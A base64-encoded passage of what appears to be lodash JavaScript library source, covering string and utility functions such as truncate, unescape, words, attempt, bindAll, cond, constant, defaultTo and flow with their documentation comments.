bHktaG8gdGhlcmUsIG5laWdoYm9yaW5vJywge1xuICAgICAqICAgJ2xlbmd0aCc6IDI0LFxuICAgICAqICAgJ3NlcGFyYXRvcic6ICcgJ1xuICAgICAqIH0pO1xuICAgICAqIC8vID0+ICdoaS1kaWRkbHktaG8gdGhlcmUsLi4uJ1xuICAgICAqXG4gICAgICogXy50cnVuY2F0ZSgnaGktZGlkZGx5LWhvIHRoZXJlLCBuZWlnaGJvcmlubycsIHtcbiAgICAgKiAgICdsZW5ndGgnOiAyNCxcbiAgICAgKiAgICdzZXBhcmF0b3InOiAvLD8gKy9cbiAgICAgKiB9KTtcbiAgICAgKiAvLyA9PiAnaGktZGlkZGx5LWhvIHRoZXJlLi4uJ1xuICAgICAqXG4gICAgICogXy50cnVuY2F0ZSgnaGktZGlkZGx5LWhvIHRoZXJlLCBuZWlnaGJvcmlubycsIHtcbiAgICAgKiAgICdvbWlzc2lvbic6ICcgWy4uLl0nXG4gICAgICogfSk7XG4gICAgICogLy8gPT4gJ2hpLWRpZGRseS1obyB0aGVyZSwgbmVpZyBbLi4uXSdcbiAgICAgKi9cbiAgICBmdW5jdGlvbiB0cnVuY2F0ZShzdHJpbmcsIG9wdGlvbnMpIHtcbiAgICAgIHZhciBsZW5ndGggPSBERUZBVUxUX1RSVU5DX0xFTkdUSCxcbiAgICAgICAgICBvbWlzc2lvbiA9IERFRkFVTFRfVFJVTkNfT01JU1NJT047XG5cbiAgICAgIGlmIChpc09iamVjdChvcHRpb25zKSkge1xuICAgICAgICB2YXIgc2VwYXJhdG9yID0gJ3NlcGFyYXRvcicgaW4gb3B0aW9ucyA/IG9wdGlvbnMuc2VwYXJhdG9yIDogc2VwYXJhdG9yO1xuICAgICAgICBsZW5ndGggPSAnbGVuZ3RoJyBpbiBvcHRpb25zID8gdG9JbnRlZ2VyKG9wdGlvbnMubGVuZ3RoKSA6IGxlbmd0aDtcbiAgICAgICAgb21pc3Npb24gPSAnb21pc3Npb24nIGluIG9wdGlvbnMgPyBiYXNlVG9TdHJpbmcob3B0aW9ucy5vbWlzc2lvbikgOiBvbWlzc2lvbjtcbiAgICAgIH1cbiAgICAgIHN0cmluZyA9IHRvU3RyaW5nKHN0cmluZyk7XG5cbiAgICAgIHZhciBzdHJMZW5ndGggPSBzdHJpbmcubGVuZ3RoO1xuICAgICAgaWYgKGhhc1VuaWNvZGUoc3RyaW5nKSkge1xuICAgICAgICB2YXIgc3RyU3ltYm9scyA9IHN0cmluZ1RvQXJyYXkoc3RyaW5nKTtcbiAgICAgICAgc3RyTGVuZ3RoID0gc3RyU3ltYm9scy5sZW5ndGg7XG4gICAgICB9XG4gICAgICBpZiAobGVuZ3RoID49IHN0ckxlbmd0aCkge1xuICAgICAgICByZXR1cm4gc3RyaW5nO1xuICAgICAgfVxuICAgICAgdmFyIGVuZCA9IGxlbmd0aCAtIHN0cmluZ1NpemUob21pc3Npb24pO1xuICAgICAgaWYgKGVuZCA8IDEpIHtcbiAgICAgICAgcmV0dXJuIG9taXNzaW9uO1xuICAgICAgfVxuICAgICAgdmFyIHJlc3VsdCA9IHN0clN5bWJvbHNcbiAgICAgICAgPyBjYXN0U2xpY2Uoc3RyU3ltYm9scywgMCwgZW5kKS5qb2luKCcnKVxuICAgICAgICA6IHN0cmluZy5zbGljZSgwLCBlbmQpO1xuXG4gICAgICBpZiAoc2VwYXJhdG9yID09PSB1bmRlZmluZWQpIHtcbiAgICAgICAgcmV0dXJuIHJlc3VsdCArIG9taXNzaW9uO1xuICAgICAgfVxuICAgICAgaWYgKHN0clN5bWJvbHMpIHtcbiAgICAgICAgZW5kICs9IChyZXN1bHQubGVuZ3RoIC0gZW5kKTtcbiAgICAgIH1cbiAgICAgIGlmIChpc1JlZ0V4cChzZXBhcmF0b3IpKSB7XG4gICAgICAgIGlmIChzdHJpbmcuc2xpY2UoZW5kKS5zZWFyY2goc2VwYXJhdG9yKSkge1xuICAgICAgICAgIHZhciBtYXRjaCxcbiAgICAgICAgICAgICAgc3Vic3RyaW5nID0gcmVzdWx0O1xuXG4gICAgICAgICAgaWYgKCFzZXBhcmF0b3IuZ2xvYmFsKSB7XG4gICAgICAgICAgICBzZXBhcmF0b3IgPSBSZWdFeHAoc2VwYXJhdG9yLnNvdXJjZSwgdG9TdHJpbmcocmVGbGFncy5leGVjKHNlcGFyYXRvcikpICsgJ2cnKTtcbiAgICAgICAgICB9XG4gICAgICAgICAgc2VwYXJhdG9yLmxhc3RJbmRleCA9IDA7XG4gICAgICAgICAgd2hpbGUgKChtYXRjaCA9IHNlcGFyYXRvci5leGVjKHN1YnN0cmluZykpKSB7XG4gICAgICAgICAgICB2YXIgbmV3RW5kID0gbWF0Y2guaW5kZXg7XG4gICAgICAgICAgfVxuICAgICAgICAgIHJlc3VsdCA9IHJlc3VsdC5zbGljZSgwLCBuZXdFbmQgPT09IHVuZGVmaW5lZCA/IGVuZCA6IG5ld0VuZCk7XG4gICAgICAgIH1cbiAgICAgIH0gZWxzZSBpZiAoc3RyaW5nLmluZGV4T2YoYmFzZVRvU3RyaW5nKHNlcGFyYXRvciksIGVuZCkgIT0gZW5kKSB7XG4gICAgICAgIHZhciBpbmRleCA9IHJlc3VsdC5sYXN0SW5kZXhPZihzZXBhcmF0b3IpO1xuICAgICAgICBpZiAoaW5kZXggPiAtMSkge1xuICAgICAgICAgIHJlc3VsdCA9IHJlc3VsdC5zbGljZSgwLCBpbmRleCk7XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICAgIHJldHVybiByZXN1bHQgKyBvbWlzc2lvbjtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBUaGUgaW52ZXJzZSBvZiBgXy5lc2NhcGVgOyB0aGlzIG1ldGhvZCBjb252ZXJ0cyB0aGUgSFRNTCBlbnRpdGllc1xuICAgICAqIGAmYW1wO2AsIGAmbHQ7YCwgYCZndDtgLCBgJnF1b3Q7YCwgYW5kIGAmIzM5O2AgaW4gYHN0cmluZ2AgdG9cbiAgICAgKiB0aGVpciBjb3JyZXNwb25kaW5nIGNoYXJhY3RlcnMuXG4gICAgICpcbiAgICAgKiAqKk5vdGU6KiogTm8gb3RoZXIgSFRNTCBlbnRpdGllcyBhcmUgdW5lc2NhcGVkLiBUbyB1bmVzY2FwZSBhZGRpdGlvbmFsXG4gICAgICogSFRNTCBlbnRpdGllcyB1c2UgYSB0aGlyZC1wYXJ0eSBsaWJyYXJ5IGxpa2UgW19oZV9dKGh0dHBzOi8vbXRocy5iZS9oZSkuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgMC42LjBcbiAgICAgKiBAY2F0ZWdvcnkgU3RyaW5nXG4gICAgICogQHBhcmFtIHtzdHJpbmd9IFtzdHJpbmc9JyddIFRoZSBzdHJpbmcgdG8gdW5lc2NhcGUuXG4gICAgICogQHJldHVybnMge3N0cmluZ30gUmV0dXJucyB0aGUgdW5lc2NhcGVkIHN0cmluZy5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogXy51bmVzY2FwZSgnZnJlZCwgYmFybmV5LCAmYW1wOyBwZWJibGVzJyk7XG4gICAgICogLy8gPT4gJ2ZyZWQsIGJhcm5leSwgJiBwZWJibGVzJ1xuICAgICAqL1xuICAgIGZ1bmN0aW9uIHVuZXNjYXBlKHN0cmluZykge1xuICAgICAgc3RyaW5nID0gdG9TdHJpbmcoc3RyaW5nKTtcbiAgICAgIHJldHVybiAoc3RyaW5nICYmIHJlSGFzRXNjYXBlZEh0bWwudGVzdChzdHJpbmcpKVxuICAgICAgICA/IHN0cmluZy5yZXBsYWNlKHJlRXNjYXBlZEh0bWwsIHVuZXNjYXBlSHRtbENoYXIpXG4gICAgICAgIDogc3RyaW5nO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIENvbnZlcnRzIGBzdHJpbmdgLCBhcyBzcGFjZSBzZXBhcmF0ZWQgd29yZHMsIHRvIHVwcGVyIGNhc2UuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgNC4wLjBcbiAgICAgKiBAY2F0ZWdvcnkgU3RyaW5nXG4gICAgICogQHBhcmFtIHtzdHJpbmd9IFtzdHJpbmc9JyddIFRoZSBzdHJpbmcgdG8gY29udmVydC5cbiAgICAgKiBAcmV0dXJucyB7c3RyaW5nfSBSZXR1cm5zIHRoZSB1cHBlciBjYXNlZCBzdHJpbmcuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIF8udXBwZXJDYXNlKCctLWZvby1iYXInKTtcbiAgICAgKiAvLyA9PiAnRk9PIEJBUidcbiAgICAgKlxuICAgICAqIF8udXBwZXJDYXNlKCdmb29CYXInKTtcbiAgICAgKiAvLyA9PiAnRk9PIEJBUidcbiAgICAgKlxuICAgICAqIF8udXBwZXJDYXNlKCdfX2Zvb19iYXJfXycpO1xuICAgICAqIC8vID0+ICdGT08gQkFSJ1xuICAgICAqL1xuICAgIHZhciB1cHBlckNhc2UgPSBjcmVhdGVDb21wb3VuZGVyKGZ1bmN0aW9uKHJlc3VsdCwgd29yZCwgaW5kZXgpIHtcbiAgICAgIHJldHVybiByZXN1bHQgKyAoaW5kZXggPyAnICcgOiAnJykgKyB3b3JkLnRvVXBwZXJDYXNlKCk7XG4gICAgfSk7XG5cbiAgICAvKipcbiAgICAgKiBDb252ZXJ0cyB0aGUgZmlyc3QgY2hhcmFjdGVyIG9mIGBzdHJpbmdgIHRvIHVwcGVyIGNhc2UuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgNC4wLjBcbiAgICAgKiBAY2F0ZWdvcnkgU3RyaW5nXG4gICAgICogQHBhcmFtIHtzdHJpbmd9IFtzdHJpbmc9JyddIFRoZSBzdHJpbmcgdG8gY29udmVydC5cbiAgICAgKiBAcmV0dXJucyB7c3RyaW5nfSBSZXR1cm5zIHRoZSBjb252ZXJ0ZWQgc3RyaW5nLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBfLnVwcGVyRmlyc3QoJ2ZyZWQnKTtcbiAgICAgKiAvLyA9PiAnRnJlZCdcbiAgICAgKlxuICAgICAqIF8udXBwZXJGaXJzdCgnRlJFRCcpO1xuICAgICAqIC8vID0+ICdGUkVEJ1xuICAgICAqL1xuICAgIHZhciB1cHBlckZpcnN0ID0gY3JlYXRlQ2FzZUZpcnN0KCd0b1VwcGVyQ2FzZScpO1xuXG4gICAgLyoqXG4gICAgICogU3BsaXRzIGBzdHJpbmdgIGludG8gYW4gYXJyYXkgb2YgaXRzIHdvcmRzLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDMuMC4wXG4gICAgICogQGNhdGVnb3J5IFN0cmluZ1xuICAgICAqIEBwYXJhbSB7c3RyaW5nfSBbc3RyaW5nPScnXSBUaGUgc3RyaW5nIHRvIGluc3BlY3QuXG4gICAgICogQHBhcmFtIHtSZWdFeHB8c3RyaW5nfSBbcGF0dGVybl0gVGhlIHBhdHRlcm4gdG8gbWF0Y2ggd29yZHMuXG4gICAgICogQHBhcmFtLSB7T2JqZWN0fSBbZ3VhcmRdIEVuYWJsZXMgdXNlIGFzIGFuIGl0ZXJhdGVlIGZvciBtZXRob2RzIGxpa2UgYF8ubWFwYC5cbiAgICAgKiBAcmV0dXJucyB7QXJyYXl9IFJldHVybnMgdGhlIHdvcmRzIG9mIGBzdHJpbmdgLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBfLndvcmRzKCdmcmVkLCBiYXJuZXksICYgcGViYmxlcycpO1xuICAgICAqIC8vID0+IFsnZnJlZCcsICdiYXJuZXknLCAncGViYmxlcyddXG4gICAgICpcbiAgICAgKiBfLndvcmRzKCdmcmVkLCBiYXJuZXksICYgcGViYmxlcycsIC9bXiwgXSsvZyk7XG4gICAgICogLy8gPT4gWydmcmVkJywgJ2Jhcm5leScsICcmJywgJ3BlYmJsZXMnXVxuICAgICAqL1xuICAgIGZ1bmN0aW9uIHdvcmRzKHN0cmluZywgcGF0dGVybiwgZ3VhcmQpIHtcbiAgICAgIHN0cmluZyA9IHRvU3RyaW5nKHN0cmluZyk7XG4gICAgICBwYXR0ZXJuID0gZ3VhcmQgPyB1bmRlZmluZWQgOiBwYXR0ZXJuO1xuXG4gICAgICBpZiAocGF0dGVybiA9PT0gdW5kZWZpbmVkKSB7XG4gICAgICAgIHJldHVybiBoYXNVbmljb2RlV29yZChzdHJpbmcpID8gdW5pY29kZVdvcmRzKHN0cmluZykgOiBhc2NpaVdvcmRzKHN0cmluZyk7XG4gICAgICB9XG4gICAgICByZXR1cm4gc3RyaW5nLm1hdGNoKHBhdHRlcm4pIHx8IFtdO1xuICAgIH1cblxuICAgIC8qLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKi9cblxuICAgIC8qKlxuICAgICAqIEF0dGVtcHRzIHRvIGludm9rZSBgZnVuY2AsIHJldHVybmluZyBlaXRoZXIgdGhlIHJlc3VsdCBvciB0aGUgY2F1Z2h0IGVycm9yXG4gICAgICogb2JqZWN0LiBBbnkgYWRkaXRpb25hbCBhcmd1bWVudHMgYXJlIHByb3ZpZGVkIHRvIGBmdW5jYCB3aGVuIGl0J3MgaW52b2tlZC5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSAzLjAuMFxuICAgICAqIEBjYXRlZ29yeSBVdGlsXG4gICAgICogQHBhcmFtIHtGdW5jdGlvbn0gZnVuYyBUaGUgZnVuY3Rpb24gdG8gYXR0ZW1wdC5cbiAgICAgKiBAcGFyYW0gey4uLip9IFthcmdzXSBUaGUgYXJndW1lbnRzIHRvIGludm9rZSBgZnVuY2Agd2l0aC5cbiAgICAgKiBAcmV0dXJucyB7Kn0gUmV0dXJucyB0aGUgYGZ1bmNgIHJlc3VsdCBvciBlcnJvciBvYmplY3QuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIC8vIEF2b2lkIHRocm93aW5nIGVycm9ycyBmb3IgaW52YWxpZCBzZWxlY3RvcnMuXG4gICAgICogdmFyIGVsZW1lbnRzID0gXy5hdHRlbXB0KGZ1bmN0aW9uKHNlbGVjdG9yKSB7XG4gICAgICogICByZXR1cm4gZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbChzZWxlY3Rvcik7XG4gICAgICogfSwgJz5fPicpO1xuICAgICAqXG4gICAgICogaWYgKF8uaXNFcnJvcihlbGVtZW50cykpIHtcbiAgICAgKiAgIGVsZW1lbnRzID0gW107XG4gICAgICogfVxuICAgICAqL1xuICAgIHZhciBhdHRlbXB0ID0gYmFzZVJlc3QoZnVuY3Rpb24oZnVuYywgYXJncykge1xuICAgICAgdHJ5IHtcbiAgICAgICAgcmV0dXJuIGFwcGx5KGZ1bmMsIHVuZGVmaW5lZCwgYXJncyk7XG4gICAgICB9IGNhdGNoIChlKSB7XG4gICAgICAgIHJldHVybiBpc0Vycm9yKGUpID8gZSA6IG5ldyBFcnJvcihlKTtcbiAgICAgIH1cbiAgICB9KTtcblxuICAgIC8qKlxuICAgICAqIEJpbmRzIG1ldGhvZHMgb2YgYW4gb2JqZWN0IHRvIHRoZSBvYmplY3QgaXRzZWxmLCBvdmVyd3JpdGluZyB0aGUgZXhpc3RpbmdcbiAgICAgKiBtZXRob2QuXG4gICAgICpcbiAgICAgKiAqKk5vdGU6KiogVGhpcyBtZXRob2QgZG9lc24ndCBzZXQgdGhlIFwibGVuZ3RoXCIgcHJvcGVydHkgb2YgYm91bmQgZnVuY3Rpb25zLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBzaW5jZSAwLjEuMFxuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQGNhdGVnb3J5IFV0aWxcbiAgICAgKiBAcGFyYW0ge09iamVjdH0gb2JqZWN0IFRoZSBvYmplY3QgdG8gYmluZCBhbmQgYXNzaWduIHRoZSBib3VuZCBtZXRob2RzIHRvLlxuICAgICAqIEBwYXJhbSB7Li4uKHN0cmluZ3xzdHJpbmdbXSl9IG1ldGhvZE5hbWVzIFRoZSBvYmplY3QgbWV0aG9kIG5hbWVzIHRvIGJpbmQuXG4gICAgICogQHJldHVybnMge09iamVjdH0gUmV0dXJucyBgb2JqZWN0YC5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogdmFyIHZpZXcgPSB7XG4gICAgICogICAnbGFiZWwnOiAnZG9jcycsXG4gICAgICogICAnY2xpY2snOiBmdW5jdGlvbigpIHtcbiAgICAgKiAgICAgY29uc29sZS5sb2coJ2NsaWNrZWQgJyArIHRoaXMubGFiZWwpO1xuICAgICAqICAgfVxuICAgICAqIH07XG4gICAgICpcbiAgICAgKiBfLmJpbmRBbGwodmlldywgWydjbGljayddKTtcbiAgICAgKiBqUXVlcnkoZWxlbWVudCkub24oJ2NsaWNrJywgdmlldy5jbGljayk7XG4gICAgICogLy8gPT4gTG9ncyAnY2xpY2tlZCBkb2NzJyB3aGVuIGNsaWNrZWQuXG4gICAgICovXG4gICAgdmFyIGJpbmRBbGwgPSBmbGF0UmVzdChmdW5jdGlvbihvYmplY3QsIG1ldGhvZE5hbWVzKSB7XG4gICAgICBhcnJheUVhY2gobWV0aG9kTmFtZXMsIGZ1bmN0aW9uKGtleSkge1xuICAgICAgICBrZXkgPSB0b0tleShrZXkpO1xuICAgICAgICBiYXNlQXNzaWduVmFsdWUob2JqZWN0LCBrZXksIGJpbmQob2JqZWN0W2tleV0sIG9iamVjdCkpO1xuICAgICAgfSk7XG4gICAgICByZXR1cm4gb2JqZWN0O1xuICAgIH0pO1xuXG4gICAgLyoqXG4gICAgICogQ3JlYXRlcyBhIGZ1bmN0aW9uIHRoYXQgaXRlcmF0ZXMgb3ZlciBgcGFpcnNgIGFuZCBpbnZva2VzIHRoZSBjb3JyZXNwb25kaW5nXG4gICAgICogZnVuY3Rpb24gb2YgdGhlIGZpcnN0IHByZWRpY2F0ZSB0byByZXR1cm4gdHJ1dGh5LiBUaGUgcHJlZGljYXRlLWZ1bmN0aW9uXG4gICAgICogcGFpcnMgYXJlIGludm9rZWQgd2l0aCB0aGUgYHRoaXNgIGJpbmRpbmcgYW5kIGFyZ3VtZW50cyBvZiB0aGUgY3JlYXRlZFxuICAgICAqIGZ1bmN0aW9uLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDQuMC4wXG4gICAgICogQGNhdGVnb3J5IFV0aWxcbiAgICAgKiBAcGFyYW0ge0FycmF5fSBwYWlycyBUaGUgcHJlZGljYXRlLWZ1bmN0aW9uIHBhaXJzLlxuICAgICAqIEByZXR1cm5zIHtGdW5jdGlvbn0gUmV0dXJucyB0aGUgbmV3IGNvbXBvc2l0ZSBmdW5jdGlvbi5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogdmFyIGZ1bmMgPSBfLmNvbmQoW1xuICAgICAqICAgW18ubWF0Y2hlcyh7ICdhJzogMSB9KSwgICAgICAgICAgIF8uY29uc3RhbnQoJ21hdGNoZXMgQScpXSxcbiAgICAgKiAgIFtfLmNvbmZvcm1zKHsgJ2InOiBfLmlzTnVtYmVyIH0pLCBfLmNvbnN0YW50KCdtYXRjaGVzIEInKV0sXG4gICAgICogICBbXy5zdHViVHJ1ZSwgICAgICAgICAgICAgICAgICAgICAgXy5jb25zdGFudCgnbm8gbWF0Y2gnKV1cbiAgICAgKiBdKTtcbiAgICAgKlxuICAgICAqIGZ1bmMoeyAnYSc6IDEsICdiJzogMiB9KTtcbiAgICAgKiAvLyA9PiAnbWF0Y2hlcyBBJ1xuICAgICAqXG4gICAgICogZnVuYyh7ICdhJzogMCwgJ2InOiAxIH0pO1xuICAgICAqIC8vID0+ICdtYXRjaGVzIEInXG4gICAgICpcbiAgICAgKiBmdW5jKHsgJ2EnOiAnMScsICdiJzogJzInIH0pO1xuICAgICAqIC8vID0+ICdubyBtYXRjaCdcbiAgICAgKi9cbiAgICBmdW5jdGlvbiBjb25kKHBhaXJzKSB7XG4gICAgICB2YXIgbGVuZ3RoID0gcGFpcnMgPT0gbnVsbCA/IDAgOiBwYWlycy5sZW5ndGgsXG4gICAgICAgICAgdG9JdGVyYXRlZSA9IGdldEl0ZXJhdGVlKCk7XG5cbiAgICAgIHBhaXJzID0gIWxlbmd0aCA/IFtdIDogYXJyYXlNYXAocGFpcnMsIGZ1bmN0aW9uKHBhaXIpIHtcbiAgICAgICAgaWYgKHR5cGVvZiBwYWlyWzFdICE9ICdmdW5jdGlvbicpIHtcbiAgICAgICAgICB0aHJvdyBuZXcgVHlwZUVycm9yKEZVTkNfRVJST1JfVEVYVCk7XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuIFt0b0l0ZXJhdGVlKHBhaXJbMF0pLCBwYWlyWzFdXTtcbiAgICAgIH0pO1xuXG4gICAgICByZXR1cm4gYmFzZVJlc3QoZnVuY3Rpb24oYXJncykge1xuICAgICAgICB2YXIgaW5kZXggPSAtMTtcbiAgICAgICAgd2hpbGUgKCsraW5kZXggPCBsZW5ndGgpIHtcbiAgICAgICAgICB2YXIgcGFpciA9IHBhaXJzW2luZGV4XTtcbiAgICAgICAgICBpZiAoYXBwbHkocGFpclswXSwgdGhpcywgYXJncykpIHtcbiAgICAgICAgICAgIHJldHVybiBhcHBseShwYWlyWzFdLCB0aGlzLCBhcmdzKTtcbiAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgIH0pO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIENyZWF0ZXMgYSBmdW5jdGlvbiB0aGF0IGludm9rZXMgdGhlIHByZWRpY2F0ZSBwcm9wZXJ0aWVzIG9mIGBzb3VyY2VgIHdpdGhcbiAgICAgKiB0aGUgY29ycmVzcG9uZGluZyBwcm9wZXJ0eSB2YWx1ZXMgb2YgYSBnaXZlbiBvYmplY3QsIHJldHVybmluZyBgdHJ1ZWAgaWZcbiAgICAgKiBhbGwgcHJlZGljYXRlcyByZXR1cm4gdHJ1dGh5LCBlbHNlIGBmYWxzZWAuXG4gICAgICpcbiAgICAgKiAqKk5vdGU6KiogVGhlIGNyZWF0ZWQgZnVuY3Rpb24gaXMgZXF1aXZhbGVudCB0byBgXy5jb25mb3Jtc1RvYCB3aXRoXG4gICAgICogYHNvdXJjZWAgcGFydGlhbGx5IGFwcGxpZWQuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgNC4wLjBcbiAgICAgKiBAY2F0ZWdvcnkgVXRpbFxuICAgICAqIEBwYXJhbSB7T2JqZWN0fSBzb3VyY2UgVGhlIG9iamVjdCBvZiBwcm9wZXJ0eSBwcmVkaWNhdGVzIHRvIGNvbmZvcm0gdG8uXG4gICAgICogQHJldHVybnMge0Z1bmN0aW9ufSBSZXR1cm5zIHRoZSBuZXcgc3BlYyBmdW5jdGlvbi5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogdmFyIG9iamVjdHMgPSBbXG4gICAgICogICB7ICdhJzogMiwgJ2InOiAxIH0sXG4gICAgICogICB7ICdhJzogMSwgJ2InOiAyIH1cbiAgICAgKiBdO1xuICAgICAqXG4gICAgICogXy5maWx0ZXIob2JqZWN0cywgXy5jb25mb3Jtcyh7ICdiJzogZnVuY3Rpb24obikgeyByZXR1cm4gbiA+IDE7IH0gfSkpO1xuICAgICAqIC8vID0+IFt7ICdhJzogMSwgJ2InOiAyIH1dXG4gICAgICovXG4gICAgZnVuY3Rpb24gY29uZm9ybXMoc291cmNlKSB7XG4gICAgICByZXR1cm4gYmFzZUNvbmZvcm1zKGJhc2VDbG9uZShzb3VyY2UsIENMT05FX0RFRVBfRkxBRykpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIENyZWF0ZXMgYSBmdW5jdGlvbiB0aGF0IHJldHVybnMgYHZhbHVlYC5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSAyLjQuMFxuICAgICAqIEBjYXRlZ29yeSBVdGlsXG4gICAgICogQHBhcmFtIHsqfSB2YWx1ZSBUaGUgdmFsdWUgdG8gcmV0dXJuIGZyb20gdGhlIG5ldyBmdW5jdGlvbi5cbiAgICAgKiBAcmV0dXJucyB7RnVuY3Rpb259IFJldHVybnMgdGhlIG5ldyBjb25zdGFudCBmdW5jdGlvbi5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogdmFyIG9iamVjdHMgPSBfLnRpbWVzKDIsIF8uY29uc3RhbnQoeyAnYSc6IDEgfSkpO1xuICAgICAqXG4gICAgICogY29uc29sZS5sb2cob2JqZWN0cyk7XG4gICAgICogLy8gPT4gW3sgJ2EnOiAxIH0sIHsgJ2EnOiAxIH1dXG4gICAgICpcbiAgICAgKiBjb25zb2xlLmxvZyhvYmplY3RzWzBdID09PSBvYmplY3RzWzFdKTtcbiAgICAgKiAvLyA9PiB0cnVlXG4gICAgICovXG4gICAgZnVuY3Rpb24gY29uc3RhbnQodmFsdWUpIHtcbiAgICAgIHJldHVybiBmdW5jdGlvbigpIHtcbiAgICAgICAgcmV0dXJuIHZhbHVlO1xuICAgICAgfTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBDaGVja3MgYHZhbHVlYCB0byBkZXRlcm1pbmUgd2hldGhlciBhIGRlZmF1bHQgdmFsdWUgc2hvdWxkIGJlIHJldHVybmVkIGluXG4gICAgICogaXRzIHBsYWNlLiBUaGUgYGRlZmF1bHRWYWx1ZWAgaXMgcmV0dXJuZWQgaWYgYHZhbHVlYCBpcyBgTmFOYCwgYG51bGxgLFxuICAgICAqIG9yIGB1bmRlZmluZWRgLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDQuMTQuMFxuICAgICAqIEBjYXRlZ29yeSBVdGlsXG4gICAgICogQHBhcmFtIHsqfSB2YWx1ZSBUaGUgdmFsdWUgdG8gY2hlY2suXG4gICAgICogQHBhcmFtIHsqfSBkZWZhdWx0VmFsdWUgVGhlIGRlZmF1bHQgdmFsdWUuXG4gICAgICogQHJldHVybnMgeyp9IFJldHVybnMgdGhlIHJlc29sdmVkIHZhbHVlLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBfLmRlZmF1bHRUbygxLCAxMCk7XG4gICAgICogLy8gPT4gMVxuICAgICAqXG4gICAgICogXy5kZWZhdWx0VG8odW5kZWZpbmVkLCAxMCk7XG4gICAgICogLy8gPT4gMTBcbiAgICAgKi9cbiAgICBmdW5jdGlvbiBkZWZhdWx0VG8odmFsdWUsIGRlZmF1bHRWYWx1ZSkge1xuICAgICAgcmV0dXJuICh2YWx1ZSA9PSBudWxsIHx8IHZhbHVlICE9PSB2YWx1ZSkgPyBkZWZhdWx0VmFsdWUgOiB2YWx1ZTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBDcmVhdGVzIGEgZnVuY3Rpb24gdGhhdCByZXR1cm5zIHRoZSByZXN1bHQgb2YgaW52b2tpbmcgdGhlIGdpdmVuIGZ1bmN0aW9uc1xuICAgICAqIHdpdGggdGhlIGB0aGlzYCBiaW5kaW5nIG9mIHRoZSBjcmVhdGVkIGZ1bmN0aW9uLCB3aGVyZSBlYWNoIHN1Y2Nlc3NpdmVcbiAgICAgKiBpbnZvY2F0aW9uIGlzIHN1cHBsaWVkIHRoZSByZXR1cm4gdmFsdWUgb2YgdGhlIHByZXZpb3VzLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDMuMC4wXG4gICAgICogQGNhdGVnb3J5IFV0aWxcbiAgICAgKiBAcGFyYW0gey4uLihGdW5jdGlvbnxGdW5jdGlvbltdKX0gW2Z1bmNzXSBUaGUgZnVuY3Rpb25zIHRvIGludm9rZS5cbiAgICAgKiBAcmV0dXJucyB7RnVuY3Rpb259IFJldHVybnMgdGhlIG5ldyBjb21wb3NpdGUgZnVuY3Rpb24uXG4gICAgICogQHNlZSBfLmZsb3dSaWdodFxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBmdW5jdGlvbiBzcXVhcmUobikge1xuICAgICAqICAgcmV0dXJuIG4gKiBuO1xuICAgICAqIH1cbiAgICAgKlxuICAgICAqIHZhciBhZGRTcXVhcmUgPSBfLmZsb3coW18uYWRkLCBzcXVhcmVdKTtcbiAgICAgKiBhZGRTcXVhcmUoMSwgMik7XG4gICAgICogLy8gPT4gOVxuICAgICAqL1xuICAgIHZhciBmbG93ID0gY3JlYXRlRmxvdygpO1xuXG4gICAgLyoqXG4gICAgICogVGhpcyBtZXRob2QgaXMgbGlrZSBgXy5mbG93YCBleGNlcHQgdGhhdCBpdCBjcmVhdGVzIGEgZnVuY3Rpb24gdGhhdFxuICAgICAqIGludm9rZXMgdGhlIGdpdmVuIGZ1bmN0aW9ucyBmcm9tIHJpZ2h0IHRvIGxlZnQuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQHNpbmNlIDMuMC4wXG4gICAgICogQG1lbW